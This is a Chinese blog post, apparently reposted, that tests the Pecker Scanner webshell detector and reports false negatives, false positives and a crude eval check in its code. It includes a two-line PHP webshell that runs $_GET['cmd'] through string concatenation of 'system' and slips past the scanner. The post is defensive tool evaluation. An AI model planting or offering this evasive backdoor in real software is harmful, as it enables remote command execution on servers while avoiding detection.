webshell扫描工具(Pecker Scanner) – 测试

今天看到几位大牛微薄转发了一个webshell扫描工具,用了语法分析、词法分析的方法,虽然不知道语法分析、词法分析是什么,但是感觉很高级的样子,果断下载一个回来试用一下。结果相当让人失望,希望作者后续继续改进。 链接如下: 一、漏报 简单把system函数

今天看到几位大牛微薄转发了一个webshell扫描工具,用了语法分析、词法分析的方法,虽然不知道语法分析、词法分析是什么,但是感觉很高级的样子,果断下载一个回来试用一下。结果相当让人失望,希望作者后续继续改进。

链接如下:
一、漏报
简单把system函数做了个字符串拼接,如下:
$func = “s”.”ystem”;
$func($_GET['cmd']);
用Pecker Scanner扫了下毫无反应

二、误报
用discuz试一下吧,囧,提示扫描超时错误(Fatal error: Maximum execution time of 30 seconds exceeded)。
放一个文件夹吧,误报也不少

三、简要分析
不懂词法分析、语法分析,大致瞄一眼扫描的核心:Scanner.php的checkTokens函数,

private function checkTokens(array $tokens) { 省略 switch ($token[0]) { case T_EVAL: $this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k)); break; case T_FUNCTION: if (isset($this->function[$token[1]])) { $this->report->catchLog($token[1],$token[2],$this->parser->getPieceTokenAll($k)); }


T_EVAL后直接记录到log了,难道是只要有eval字符串就log,试下eval(abc),果然如此,这。。。;


不过作者还是做了一些判断的,像“eval”字符串这些不会记录的,不过看到这里基本上可以断定这个东西的实用价值基本很小了。

四、总结
作者开源的精神还是值得肯定,期待作者的后续发力。

你可能感兴趣的:(webshell扫描工具(Pecker Scanner) – 测试)